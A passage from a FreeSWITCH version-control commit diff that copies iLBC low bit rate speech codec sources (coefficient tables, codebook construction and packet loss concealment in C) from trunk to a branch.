+    1.189697f, 1.702759f, 1.894409f,
+    1.346680f, 1.763184f, 2.066040f,
+    0.980469f, 1.253784f, 1.441650f,
+    1.338135f, 1.641968f, 1.932739f,
+    1.223267f, 1.424194f, 1.626465f,
+    0.765747f, 1.004150f, 1.579102f,
+    1.042847f, 1.269165f, 1.647461f,
+    0.968750f, 1.257568f, 1.555786f,
+    0.826294f, 0.993408f, 1.275146f,
+    0.742310f, 0.950439f, 1.430542f,
+    1.054321f, 1.439819f, 1.828003f,
+    1.072998f, 1.261719f, 1.441895f,
+    0.859375f, 1.036377f, 1.314819f,
+    0.895752f, 1.267212f, 1.605591f,
+    0.805420f, 0.962891f, 1.142334f,
+    0.795654f, 1.005493f, 1.468506f,
+    1.105347f, 1.313843f, 1.584839f,
+    0.792236f, 1.221802f, 1.465698f,
+    1.170532f, 1.467651f, 1.664063f,
+    0.838257f, 1.153198f, 1.342163f,
+    0.968018f, 1.198242f, 1.391235f,
+    1.250122f, 1.623535f, 1.823608f,
+    0.711670f, 1.058350f, 1.512085f,
+    1.204834f, 1.454468f, 1.739136f,
+    1.137451f, 1.421753f, 1.620117f,
+    0.820435f, 1.322754f, 1.578247f,
+    0.798706f, 1.005005f, 1.213867f,
+    0.980713f, 1.324951f, 1.512939f,
+    1.112305f, 1.438843f, 1.735596f,
+    1.135498f, 1.356689f, 1.635742f,
+    1.101318f, 1.387451f, 1.686523f,
+    0.849854f, 1.276978f, 1.523438f,
+    1.377930f, 1.627563f, 1.858154f,
+    0.884888f, 1.095459f, 1.287476f,
+    1.289795f, 1.505859f, 1.756592f,
+    0.817505f, 1.384155f, 1.650513f,
+    1.446655f, 1.702148f, 1.931885f,
+    0.835815f, 1.023071f, 1.385376f,
+    0.916626f, 1.139038f, 1.335327f,
+    0.980103f, 1.174072f, 1.453735f,
+    1.705688f, 2.153809f, 2.398315f, 2.743408f,
+    1.797119f, 2.016846f, 2.445679f, 2.701904f,
+    1.990356f, 2.219116f, 2.576416f, 2.813477f,
+    1.849365f, 2.190918f, 2.611572f, 2.835083f,
+    1.657959f, 1.854370f, 2.159058f, 2.726196f,
+    1.437744f, 1.897705f, 2.253174f, 2.655396f,
+    2.028687f, 2.247314f, 2.542358f, 2.875854f,
+    1.736938f, 1.922119f, 2.185913f, 2.743408f,
+    1.521606f, 1.870972f, 2.526855f, 2.786987f,
+    1.841431f, 2.050659f, 2.463623f, 2.857666f,
+    1.590088f, 2.067261f, 2.427979f, 2.794434f,
+    1.746826f, 2.057373f, 2.320190f, 2.800781f,
+    1.734619f, 1.940552f, 2.306030f, 2.826416f,
+    1.786255f, 2.204468f, 2.457520f, 2.795288f,
+    1.861084f, 2.170532f, 2.414551f, 2.763672f,
+    2.001465f, 2.307617f, 2.552734f, 2.811890f,
+    1.784424f, 2.124146f, 2.381592f, 2.645508f,
+    1.888794f, 2.135864f, 2.418579f, 2.861206f,
+    2.301147f, 2.531250f, 2.724976f, 2.913086f,
+    1.837769f, 2.051270f, 2.261963f, 2.553223f,
+    2.012939f, 2.221191f, 2.440186f, 2.678101f,
+    1.429565f, 1.858276f, 2.582275f, 2.845703f,
+    1.622803f, 1.897705f, 2.367310f, 2.621094f,
+    1.581543f, 1.960449f, 2.515869f, 2.736450f,
+    1.419434f, 1.933960f, 2.394653f, 2.746704f,
+    1.721924f, 2.059570f, 2.421753f, 2.769653f,
+    1.911011f, 2.220703f, 2.461060f, 2.740723f,
+    1.581177f, 1.860840f, 2.516968f, 2.874634f,
+    1.870361f, 2.098755f, 2.432373f, 2.656494f,
+    2.059692f, 2.279785f, 2.495605f, 2.729370f,
+    1.815674f, 2.181519f, 2.451538f, 2.680542f,
+    1.407959f, 1.768311f, 2.343018f, 2.668091f,
+    2.168701f, 2.394653f, 2.604736f, 2.829346f,
+    1.636230f, 1.865723f, 2.329102f, 2.824219f,
+    1.878906f, 2.139526f, 2.376709f, 2.679810f,
+    1.765381f, 1.971802f, 2.195435f, 2.586914f,
+    2.164795f, 2.410889f, 2.673706f, 2.903198f,
+    2.071899f, 2.331055f, 2.645874f, 2.907104f,
+    2.026001f, 2.311523f, 2.594849f, 2.863892f,
+    1.948975f, 2.180786f, 2.514893f, 2.797852f,
+    1.881836f, 2.130859f, 2.478149f, 2.804199f,
+    2.238159f, 2.452759f, 2.652832f, 2.868286f,
+    1.897949f, 2.101685f, 2.524292f, 2.880127f,
+    1.856445f, 2.074585f, 2.541016f, 2.791748f,
+    1.695557f, 2.199097f, 2.506226f, 2.742676f,
+    1.612671f, 1.877075f, 2.435425f, 2.732910f,
+    1.568848f, 1.786499f, 2.194580f, 2.768555f,
+    1.953369f, 2.164551f, 2.486938f, 2.874023f,
+    1.388306f, 1.725342f, 2.384521f, 2.771851f,
+    2.115356f, 2.337769f, 2.592896f, 2.864014f,
+    1.905762f, 2.111328f, 2.363525f, 2.789307f,
+    1.882568f, 2.332031f, 2.598267f, 2.827637f,
+    1.683594f, 2.088745f, 2.361938f, 2.608643f,
+    1.874023f, 2.182129f, 2.536133f, 2.766968f,
+    1.861938f, 2.070435f, 2.309692f, 2.700562f,
+    1.722168f, 2.107422f, 2.477295f, 2.837646f,
+    1.926880f, 2.184692f, 2.442627f, 2.663818f,
+    2.123901f, 2.337280f, 2.553101f, 2.777466f,
+    1.588135f, 1.911499f, 2.212769f, 2.543945f,
+    2.053955f, 2.370850f, 2.712158f, 2.939941f,
+    2.210449f, 2.519653f, 2.770386f, 2.958618f,
+    2.199463f, 2.474731f, 2.718262f, 2.919922f,
+    1.960083f, 2.175415f, 2.608032f, 2.888794f,
+    1.953735f, 2.185181f, 2.428223f, 2.809570f,
+    1.615234f, 2.036499f, 2.576538f, 2.834595f,
+    1.621094f, 2.028198f, 2.431030f, 2.664673f,
+    1.824951f, 2.267456f, 2.514526f, 2.747925f,
+    1.994263f, 2.229126f, 2.475220f, 2.833984f,
+    1.746338f, 2.011353f, 2.588257f, 2.826904f,
+    1.562866f, 2.135986f, 2.471680f, 2.687256f,
+    1.748901f, 2.083496f, 2.460938f, 2.686279f,
+    1.758057f, 2.131470f, 2.636597f, 2.891602f,
+    2.071289f, 2.299072f, 2.550781f, 2.814331f,
+    1.839600f, 2.094360f, 2.496460f, 2.723999f,
+    1.882202f, 2.088257f, 2.636841f, 2.923096f,
+    1.957886f, 2.153198f, 2.384399f, 2.615234f,
+    1.992920f, 2.351196f, 2.654419f, 2.889771f,
+    2.012817f, 2.262451f, 2.643799f, 2.903076f,
+    2.025635f, 2.254761f, 2.508423f, 2.784058f,
+    2.316040f, 2.589355f, 2.794189f, 2.963623f,
+    1.741211f, 2.279541f, 2.578491f, 2.816284f,
+    1.845337f, 2.055786f, 2.348511f, 2.822021f,
+    1.679932f, 1.926514f, 2.499756f, 2.835693f,
+    1.722534f, 1.946899f, 2.448486f, 2.728760f,
+    1.829834f, 2.043213f, 2.580444f, 2.867676f,
+    1.676636f, 2.071655f, 2.322510f, 2.704834f,
+    1.791504f, 2.113525f, 2.469727f, 2.784058f,
+    1.977051f, 2.215088f, 2.497437f, 2.726929f,
+    1.800171f, 2.106689f, 2.357788f, 2.738892f,
+    1.827759f, 2.170166f, 2.525879f, 2.852417f,
+    1.918335f, 2.132813f, 2.488403f, 2.728149f,
+    1.916748f, 2.225098f, 2.542603f, 2.857666f,
+    1.761230f, 1.976074f, 2.507446f, 2.884521f,
+    2.053711f, 2.367432f, 2.608032f, 2.837646f,
+    1.595337f, 2.000977f, 2.307129f, 2.578247f,
+    1.470581f, 2.031250f, 2.375854f, 2.647583f,
+    1.801392f, 2.128052f, 2.399780f, 2.822876f,
+    1.853638f, 2.066650f, 2.429199f, 2.751465f,
+    1.956299f, 2.163696f, 2.394775f, 2.734253f,
+    1.963623f, 2.275757f, 2.585327f, 2.865234f,
+    1.887451f, 2.105469f, 2.331787f, 2.587402f,
+    2.120117f, 2.443359f, 2.733887f, 2.941406f,
+    1.506348f, 1.766968f, 2.400513f, 2.851807f,
+    1.664551f, 1.981079f, 2.375732f, 2.774414f,
+    1.720703f, 1.978882f, 2.391479f, 2.640991f,
+    1.483398f, 1.814819f, 2.434448f, 2.722290f,
+    1.769043f, 2.136597f, 2.563721f, 2.774414f,
+    1.810791f, 2.049316f, 2.373901f, 2.613647f,
+    1.788330f, 2.005981f, 2.359131f, 2.723145f,
+    1.785156f, 1.993164f, 2.399780f, 2.832520f,
+    1.695313f, 2.022949f, 2.522583f, 2.745117f,
+    1.584106f, 1.965576f, 2.299927f, 2.715576f,
+    1.894897f, 2.249878f, 2.655884f, 2.897705f,
+    1.720581f, 1.995728f, 2.299438f, 2.557007f,
+    1.619385f, 2.173950f, 2.574219f, 2.787964f,
+    1.883179f, 2.220459f, 2.474365f, 2.825073f,
+    1.447632f, 2.045044f, 2.555542f, 2.744873f,
+    1.502686f, 2.156616f, 2.653320f, 2.846558f,
+    1.711548f, 1.944092f, 2.282959f, 2.685791f,
+    1.499756f, 1.867554f, 2.341064f, 2.578857f,
+    1.916870f, 2.135132f, 2.568237f, 2.826050f,
+    1.498047f, 1.711182f, 2.223267f, 2.755127f,
+    1.808716f, 1.997559f, 2.256470f, 2.758545f,
+    2.088501f, 2.402710f, 2.667358f, 2.890259f,
+    1.545044f, 1.819214f, 2.324097f, 2.692993f,
+    1.796021f, 2.012573f, 2.505737f, 2.784912f,
+    1.786499f, 2.041748f, 2.290405f, 2.650757f,
+    1.938232f, 2.264404f, 2.529053f, 2.796143f
+};

Deleted: freeswitch/branches/seven/libs/ilbc/src/constants.h

Copied: freeswitch/branches/seven/libs/ilbc/src/constants.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/constants.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/constants.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/constants.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * constants.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: constants.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_CONSTANTS_H
+#define __iLBC_CONSTANTS_H
+
+#include "iLBC_define.h"
+#include "ilbc.h"
+
+/* ULP bit allocation */
+
+extern const ilbc_ulp_inst_t ULP_20msTbl;
+extern const ilbc_ulp_inst_t ULP_30msTbl;
+
+/* high pass filters */
+
+extern const float hpi_zero_coefsTbl[];
+extern const float hpi_pole_coefsTbl[];
+extern const float hpo_zero_coefsTbl[];
+extern const float hpo_pole_coefsTbl[];
+
+/* low pass filters */
+extern const float lpFilt_coefsTbl[];
+
+/* LPC analysis and quantization */
+
+extern const float lpc_winTbl[];
+extern const float lpc_asymwinTbl[];
+extern const float lpc_lagwinTbl[];
+extern const float lsfCbTbl[];
+extern const float lsfmeanTbl[];
+extern const int   dim_lsfCbTbl[];
+extern const int   size_lsfCbTbl[];
+extern const float lsf_weightTbl_30ms[];
+extern const float lsf_weightTbl_20ms[];
+
+/* state quantization tables */
+
+extern const float state_sq3Tbl[];
+extern const float state_frgqTbl[];
+
+/* gain quantization tables */
+
+extern const float gain_sq3Tbl[];
+extern const float gain_sq4Tbl[];
+extern const float gain_sq5Tbl[];
+
+/* adaptive codebook definitions */
+
+extern const int search_rangeTbl[5][CB_NSTAGES];
+extern const int memLfTbl[];
+extern const int stMemLTbl;
+extern const float cbfiltersTbl[CB_FILTERLEN];
+
+/* enhancer definitions */
+
+extern const float polyphaserTbl[];
+extern const float enh_plocsTbl[];
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/createCB.c

Copied: freeswitch/branches/seven/libs/ilbc/src/createCB.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/createCB.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/createCB.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/createCB.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,241 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * createCB.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: createCB.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "createCB.h"
+
+/*----------------------------------------------------------------*
+ *  Construct an additional codebook vector by filtering the
+ *  initial codebook buffer. This vector is then used to expand
+ *  the codebook with an additional section.
+ *---------------------------------------------------------------*/
+
+void filteredCBvecs(float *cbvectors,   /* (o) Codebook vectors for the
+                                               higher section */
+                    float *mem,         /* (i) Buffer to create codebook
+                                               vector from */
+                    int lMem)           /* (i) Length of buffer */
+{
+    int j;
+    int k;
+    const float *pp;
+    const float *pp1;
+    float tempbuff2[CB_MEML + CB_FILTERLEN];
+    float *pos;
+
+    memset(tempbuff2, 0, (CB_HALFFILTERLEN - 1)*sizeof(float));
+    memcpy(&tempbuff2[CB_HALFFILTERLEN - 1], mem, lMem*sizeof(float));
+    memset(&tempbuff2[lMem + CB_HALFFILTERLEN - 1], 0, (CB_HALFFILTERLEN + 1)*sizeof(float));
+
+    /* Create codebook vector for higher section by filtering */
+
+    /* do filtering */
+    pos = cbvectors;
+    memset(pos, 0, lMem*sizeof(float));
+    for (k = 0;  k < lMem;  k++)
+    {
+        pp = &tempbuff2[k];
+        pp1 = &cbfiltersTbl[CB_FILTERLEN - 1];
+        for (j = 0;  j < CB_FILTERLEN;  j++)
+            (*pos) += (*pp++)*(*pp1--);
+        pos++;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  Search the augmented part of the codebook to find the best
+ *  measure.
+ *----------------------------------------------------------------*/
+
+void searchAugmentedCB(int low,             /* (i) Start index for the search */
+                       int high,            /* (i) End index for the search */
+                       int stage,           /* (i) Current stage */
+                       int startIndex,      /* (i) Codebook index for the first
+                                                   aug vector */
+                       float *target,       /* (i) Target vector for encoding */
+                       float *buffer,       /* (i) Pointer to the end of the buffer for
+                                                   augmented codebook construction */
+                       float *max_measure,  /* (i/o) Currently maximum measure */
+                       int *best_index,     /* (o) Currently the best index */
+                       float *gain,         /* (o) Currently the best gain */
+                       float *energy,       /* (o) Energy of augmented codebook
+                                                   vectors */
+                       float *invenergy)    /* (o) Inv energy of augmented codebook
+                                                   vectors */
+{
+    int icount;
+    int ilow;
+    int j;
+    int tmpIndex;
+    float *pp;
+    float *ppo;
+    float *ppi;
+    float *ppe;
+    float crossDot;
+    float alfa;
+    float weighted;
+    float measure;
+    float nrjRecursive;
+    float ftmp;
+
+    /* Compute the energy for the first (low-5)
+       noninterpolated samples */
+    nrjRecursive = 0.0f;
+    pp = buffer - low + 1;
+    for (j = 0;  j < (low - 5);  j++)
+    {
+        nrjRecursive += ((*pp)*(*pp));
+        pp++;
+    }
+    ppe = buffer - low;
+
+    for (icount = low;  icount <= high;  icount++)
+    {
+        /* Index of the codebook vector used for retrieving
+           energy values */
+        tmpIndex = startIndex+icount - 20;
+
+        ilow = icount - 4;
+
+        /* Update the energy recursively to save complexity */
+        nrjRecursive = nrjRecursive + (*ppe)*(*ppe);
+        ppe--;
+        energy[tmpIndex] = nrjRecursive;
+
+        /* Compute cross dot product for the first (low - 5) samples */
+
+        crossDot = 0.0f;
+        pp = buffer - icount;
+        for (j = 0;  j < ilow;  j++)
+            crossDot += target[j]*(*pp++);
+
+        /* interpolation */
+        alfa = 0.2f;
+        ppo = buffer - 4;
+        ppi = buffer - icount - 4;
+        for (j = ilow;  j < icount;  j++)
+        {
+            weighted = (1.0f - alfa)*(*ppo) +alfa*(*ppi);
+            ppo++;
+            ppi++;
+            energy[tmpIndex] += weighted*weighted;
+            crossDot += target[j]*weighted;
+            alfa += 0.2f;
+        }
+
+        /* Compute energy and cross dot product for the
+           remaining samples */
+        pp = buffer - icount;
+        for (j = icount;  j < SUBL;  j++)
+        {
+            energy[tmpIndex] += (*pp)*(*pp);
+            crossDot += target[j]*(*pp++);
+        }
+
+        if (energy[tmpIndex] > 0.0f)
+        {
+            invenergy[tmpIndex] = 1.0f/(energy[tmpIndex] + EPS);
+        }
+        else
+        {
+            invenergy[tmpIndex] = 0.0f;
+        }
+
+        if (stage == 0)
+        {
+            measure = -10000000.0f;
+
+            if (crossDot > 0.0f)
+                measure = crossDot*crossDot*invenergy[tmpIndex];
+        }
+        else
+        {
+            measure = crossDot*crossDot*invenergy[tmpIndex];
+        }
+
+        /* check if measure is better */
+        ftmp = crossDot*invenergy[tmpIndex];
+
+        if ((measure > *max_measure) && (fabsf(ftmp) < CB_MAXGAIN))
+        {
+            *best_index = tmpIndex;
+            *max_measure = measure;
+            *gain = ftmp;
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  Recreate a specific codebook vector from the augmented part.
+ *
+ *----------------------------------------------------------------*/
+
+void createAugmentedVec(int index,      /* (i) Index for the augmented vector
+                                               to be created */
+                        float *buffer,  /* (i) Pointer to the end of the buffer for
+                                               augmented codebook construction */
+                        float *cbVec)   /* (o) The construced codebook vector */
+{
+    int ilow;
+    int j;
+    float *pp;
+    float *ppo;
+    float *ppi;
+    float alfa;
+    float alfa1;
+    float weighted;
+
+    ilow = index - 5;
+
+    /* copy the first noninterpolated part */
+
+    pp = buffer - index;
+    memcpy(cbVec, pp, sizeof(float)*index);
+
+    /* interpolation */
+
+    alfa1 = 0.2f;
+    alfa = 0.0f;
+    ppo = buffer - 5;
+    ppi = buffer - index - 5;
+    for (j = ilow;  j < index;  j++)
+    {
+        weighted = (1.0f - alfa)*(*ppo) + alfa*(*ppi);
+        ppo++;
+        ppi++;
+        cbVec[j] = weighted;
+        alfa += alfa1;
+    }
+
+    /* copy the second noninterpolated part */
+
+    pp = buffer - index;
+    memcpy(cbVec + index, pp, sizeof(float)*(SUBL - index));
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/createCB.h

Copied: freeswitch/branches/seven/libs/ilbc/src/createCB.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/createCB.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/createCB.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/createCB.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * createCB.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: createCB.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_CREATECB_H
+#define __iLBC_CREATECB_H
+
+void filteredCBvecs(float *cbvectors,       /* (o) Codebook vector for the
+                                                   higher section */
+                    float *mem,             /* (i) Buffer to create codebook
+                                                   vectors from */
+                    int lMem);              /* (i) Length of buffer */
+
+void searchAugmentedCB(int low,             /* (i) Start index for the search */
+                       int high,            /* (i) End index for the search */
+                       int stage,           /* (i) Current stage */
+                       int startIndex,      /* (i) CB index for the first
+                                                   augmented vector */
+                       float *target,       /* (i) Target vector for encoding */
+                       float *buffer,       /* (i) Pointer to the end of the
+                                                   buffer for augmented codebook
+                                                   construction */
+                       float *max_measure,  /* (i/o) Currently maximum measure */
+                       int *best_index,     /* (o) Currently the best index */
+                       float *gain,         /* (o) Currently the best gain */
+                       float *energy,       /* (o) Energy of augmented
+                                                   codebook vectors */
+                       float *invenergy);   /* (o) Inv energy of aug codebook vectors */
+
+void createAugmentedVec(int index,          /* (i) Index for the aug vector to be created */
+                        float *buffer,      /* (i) Pointer to the end of the
+                                                   buffer for augmented codebook
+                                                   construction */
+                        float *cbVec);      /* (o) The construced codebook vector */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/doCPLC.c

Copied: freeswitch/branches/seven/libs/ilbc/src/doCPLC.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/doCPLC.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/doCPLC.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/doCPLC.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,236 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * doCPLC.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: doCPLC.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "doCPLC.h"
+
+/*----------------------------------------------------------------*
+ *  Compute cross correlation and pitch gain for pitch prediction
+ *  of last subframe at given lag.
+ *---------------------------------------------------------------*/
+
+static void compCorr(float *cc,        /* (o) cross correlation coefficient */
+                     float *gc,        /* (o) gain */
+                     float *pm,
+                     float *buffer,    /* (i) signal buffer */
+                     int lag,          /* (i) pitch lag */
+                     int bLen,         /* (i) length of buffer */
+                     int sRange)       /* (i) correlation search length */
+{
+    int i;
+    float ftmp1;
+    float ftmp2;
+    float ftmp3;
+
+    /* Guard against getting outside buffer */
+    if ((bLen - sRange - lag) < 0)
+        sRange = bLen - lag;
+
+    ftmp1 = 0.0f;
+    ftmp2 = 0.0f;
+    ftmp3 = 0.0f;
+    for (i = 0;  i < sRange;  i++)
+    {
+        ftmp1 += buffer[bLen - sRange + i]*buffer[bLen - sRange + i - lag];
+        ftmp2 += buffer[bLen - sRange + i - lag]*buffer[bLen - sRange + i - lag];
+        ftmp3 += buffer[bLen - sRange + i]*buffer[bLen - sRange + i];
+    }
+
+    if (ftmp2 > 0.0f)
+    {
+        *cc = ftmp1*ftmp1/ftmp2;
+        *gc = fabsf(ftmp1/ftmp2);
+        *pm = fabsf(ftmp1)/(sqrtf(ftmp2)*sqrtf(ftmp3));
+    }
+    else
+    {
+        *cc = 0.0f;
+        *gc = 0.0f;
+        *pm = 0.0f;
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  Packet loss concealment routine. Conceals a residual signal
+ *  and LP parameters. If no packet loss, update state.
+ *---------------------------------------------------------------*/
+
+void doThePLC(float *PLCresidual,                   /* (o) concealed residual */
+              float *PLClpc,                        /* (o) concealed LP parameters */
+              int PLI,                              /* (i) packet loss indicator
+                                                           0 - no PL, 1 = PL */
+              float *decresidual,                   /* (i) decoded residual */
+              float *lpc,                           /* (i) decoded LPC (only used for no PL) */
+              int inlag,                            /* (i) pitch lag */
+              ilbc_decode_state_t *iLBCdec_inst)    /* (i/o) decoder instance */
+{
+    int lag = 20l;
+    int randlag;
+    float gain;
+    float maxcc;
+    float use_gain;
+    float gain_comp, maxcc_comp, per, max_per = 0;
+    int i;
+    int pick;
+    int use_lag;
+    float ftmp;
+    float randvec[ILBC_BLOCK_LEN_MAX];
+    float pitchfact;
+    float energy;
+
+    /* Packet Loss */
+    if (PLI == 1)
+    {
+        iLBCdec_inst->consPLICount += 1;
+
+        if (iLBCdec_inst->prevPLI != 1)
+        {
+            /* previous frame not lost, determine pitch pred. gain */
+            /* Search around the previous lag to find the best pitch period */
+
+            lag = inlag - 3;
+            compCorr(&maxcc,
+                     &gain,
+                     &max_per,
+                     iLBCdec_inst->prevResidual,
+                     lag,
+                     iLBCdec_inst->blockl,
+                     60);
+            for (i = inlag - 2;  i <= inlag + 3;  i++)
+            {
+                compCorr(&maxcc_comp,
+                         &gain_comp,
+                         &per,
+                         iLBCdec_inst->prevResidual,
+                         i,
+                         iLBCdec_inst->blockl,
+                         60);
+                if (maxcc_comp>maxcc)
+                {
+                    maxcc = maxcc_comp;
+                    gain = gain_comp;
+                    lag = i;
+                    max_per = per;
+                }
+            }
+        }
+        else
+        {
+            /* previous frame lost, use recorded lag and periodicity */
+            lag = iLBCdec_inst->prevLag;
+            max_per = iLBCdec_inst->per;
+        }
+
+        /* downscaling */
+        use_gain = 1.0f;
+        if (iLBCdec_inst->consPLICount*iLBCdec_inst->blockl > 320)
+            use_gain = 0.9f;
+        else if (iLBCdec_inst->consPLICount*iLBCdec_inst->blockl > 2*320)
+            use_gain = 0.7f;
+        else if (iLBCdec_inst->consPLICount*iLBCdec_inst->blockl > 3*320)
+            use_gain = 0.5f;
+        else if (iLBCdec_inst->consPLICount*iLBCdec_inst->blockl > 4*320)
+            use_gain = 0.0f;
+
+        /* mix noise and pitch repeatition */
+        ftmp = sqrtf(max_per);
+        if (ftmp > 0.7f)
+            pitchfact = 1.0f;
+        else if (ftmp > 0.4f)
+            pitchfact = (ftmp - 0.4f)/(0.7f - 0.4f);
+        else
+            pitchfact = 0.0f;
+
+        /* avoid repetition of same pitch cycle */
+        use_lag = lag;
+        if (lag < 80)
+            use_lag = 2*lag;
+
+        /* compute concealed residual */
+        energy = 0.0f;
+        for (i = 0;  i < iLBCdec_inst->blockl;  i++)
+        {
+            /* noise component */
+            iLBCdec_inst->seed = (iLBCdec_inst->seed*69069L + 1) & (0x80000000L - 1);
+            randlag = 50 + ((signed long) iLBCdec_inst->seed)%70;
+            pick = i - randlag;
+
+            if (pick < 0)
+                randvec[i] = iLBCdec_inst->prevResidual[iLBCdec_inst->blockl + pick];
+            else
+                randvec[i] = randvec[pick];
+
+            /* pitch repeatition component */
+            pick = i - use_lag;
+
+            if (pick < 0)
+                PLCresidual[i] = iLBCdec_inst->prevResidual[iLBCdec_inst->blockl + pick];
+            else
+                PLCresidual[i] = PLCresidual[pick];
+
+            /* mix random and periodicity component */
+            if (i < 80)
+                PLCresidual[i] = use_gain*(pitchfact*PLCresidual[i] + (1.0f - pitchfact) * randvec[i]);
+            else if (i < 160)
+                PLCresidual[i] = 0.95f*use_gain*(pitchfact*PLCresidual[i] + (1.0f - pitchfact) * randvec[i]);
+            else
+                PLCresidual[i] = 0.9f*use_gain*(pitchfact*PLCresidual[i] + (1.0f - pitchfact) * randvec[i]);
+            energy += PLCresidual[i] * PLCresidual[i];
+        }
+
+        /* less than 30 dB, use only noise */
+        if (sqrt(energy/(float) iLBCdec_inst->blockl) < 30.0f)
+        {
+            gain = 0.0f;
+            for (i = 0;  i < iLBCdec_inst->blockl;  i++)
+                PLCresidual[i] = randvec[i];
+        }
+
+        /* use old LPC */
+        memcpy(PLClpc, iLBCdec_inst->prevLpc, (ILBC_LPC_FILTERORDER + 1)*sizeof(float));
+    }
+    else
+    {
+        /* no packet loss, copy input */
+        memcpy(PLCresidual, decresidual, iLBCdec_inst->blockl*sizeof(float));
+        memcpy(PLClpc, lpc, (ILBC_LPC_FILTERORDER + 1)*sizeof(float));
+        iLBCdec_inst->consPLICount = 0;
+    }
+
+    /* update state */
+    if (PLI)
+    {
+        iLBCdec_inst->prevLag = lag;
+        iLBCdec_inst->per = max_per;
+    }
+
+    iLBCdec_inst->prevPLI = PLI;
+    memcpy(iLBCdec_inst->prevLpc, PLClpc, (ILBC_LPC_FILTERORDER + 1)*sizeof(float));
+    memcpy(iLBCdec_inst->prevResidual, PLCresidual, iLBCdec_inst->blockl*sizeof(float));
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/doCPLC.h

Copied: freeswitch/branches/seven/libs/ilbc/src/doCPLC.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/doCPLC.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/doCPLC.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/doCPLC.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * doCPLC.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: doCPLC.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
